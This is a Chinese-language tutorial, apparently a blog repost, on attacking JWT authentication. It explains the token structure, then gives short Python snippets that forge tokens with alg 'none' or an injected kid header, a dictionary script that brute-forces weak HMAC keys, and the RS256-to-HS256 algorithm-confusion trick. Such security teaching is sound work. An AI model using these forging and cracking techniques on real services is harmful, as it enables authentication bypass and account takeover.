zoukankan      html  css  js  c++  java
  • 针对 JWT 的几种攻击方法

    参考文章

    JWT(Json Web Token)认证
    Json Web Token 2020 攻击指南

    前置知识


    Json Web Token。是在完成身份验证之后,服务器生成的一个 JSON 对象并将其加密后返回给用户形如 xxxx.xxxxx.xxxxx 的一串字符
    之后,客户端与服务器之间的通信便可依靠该字符串来做身份验证,通常 JWT 存放在 cookie 或者其他请求头中。
    JWT 由三部分构成,header(头部,示意签名使用的算法)、payload(载荷,存储有效数据)和 signature(签名,校验数据有效性)

    • 头部
      通常由形如如下 json 数据经过 Base64URL 加密算法生成
    {
        "alg": "HS256",
        "typ": "JWT"
    }
    

    其中,alg 表示后续签名部分使用的加密算法,一般有

    alg 代表的算法
    HS256 HAMC_HASH-256
    HS384 HAMC_HASH-384
    HS512 HAMC_HASH-512
    RS256 RSASSA_HASH-256
    RS384 RSASSA_HASH-384
    RS512 RSASSA_HASH-512
    ES256 ECDSA_P-256 + HASH-256
    ES384 ECDSA_P-384 + HASH-384
    ES512 ECDSA_P-512 + HASH-512
    none 不使用

    typ 表示数据类型

    其中 Base64URL 算法:数据经过 Base64 加密后将结果中的=去掉,+-替换,/_替换

    • 载荷
      包含需要传递的数据,通常由形如如下 json 数据经过 Base64URL 加密算法生成:
    {
        "iss": "发行人",
        "iat": "发布时间",
        "nbf": "有效时间起点",
        "exp": "到期时间",
        "sub": "主题",
        "aud": "用户",
        "jti": "JWT ID用于标识该JWT",
        "xxxxx": "自定义字段内容"
    }
    
    • 签名
      该部分是对 头部载荷 两部分数据通过头部中指定的算法生成哈希结果,用于保数据不会被篡改,一般未经过 Base64URL 加密,可选
      比如说,头部中 alg 值为 HS256,则生成前面的算法为:
      HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload),密钥)

    JWT 与 cookie、session、token 有什么区别可以看这里

    可能存在的问题

    签名校验问题

    • 后端未对签名 signature 做校验,故可直接篡改载荷 payload 内容,并可一并删除 singature 签名字段来尝试绕过签名校验
    • alg 值置为 none,若服务器支持 none 算法,便可绕过签名校验
    import jwt
    
    print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))
    

    将生成的 jwt 字符串(可删除结尾的.) 替换原有的字符串测试即可

    弱密钥暴力破解

    当 alg 值为 HMAC 类对称加密算法时,可以针对密钥进行暴力破解
    网上的脚本:

    import jwt
    
    jwt_json='jwt 数据'
    with open('dict.txt',encoding='utf-8') as f:  # 传入字典
            for line in f:
                key = line.strip()
                try:
                    jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
                    print('found key! --> ' +  key)
                    break
                except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('found key! --> ' +  key)
                    break
                except(jwt.exceptions.InvalidSignatureError):
                    print('verify key! -->' + key)
                    continue
            else:
                print("key not found!")
    

    kid 指定攻击

    kid 即为 key ID ,存在于 jwt header 头部中,是一个可选的字段,用来指定加密算法的密钥

    {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "xxx"
    }
    

    通过在头部注入新的 kid 字段,并指定 HS256 算法的 key 密钥为 xxx,生成新的 jwt 数据

    import jwt
    
    jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})
    

    若服务器并未对 header 头部做限制,那么程序将会按照 header 中指定的密钥进行校验,从而通过签名校验

    非对称加密算法转对称加密算法

    当 header 头部指定签名算法为 RSA 非对称加密算法时,可以替换为 HMAC 对称加密算法,并且通过获取到的公钥重新做签名
    服务器在签名校验时便可能会使用公钥做校验

  • 相关阅读:
    BestCoder Round #86 1001
    Codeforces Round #365 (Div. 2) B
    Codeforces Round #365 (Div. 2) A
    Codeforces Round #129 (Div. 2) C
    Codeforces Round #129 (Div. 2) B
    Android.mk 文件语法详解
    RDS和ROS使用小结
    电力企业计量生产需求系统解决方案
    android 修改framework下资源文件后如何编译
    USB port 如何识别不同的Charger类型
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/14361834.html
Copyright © 2011-2022 走看看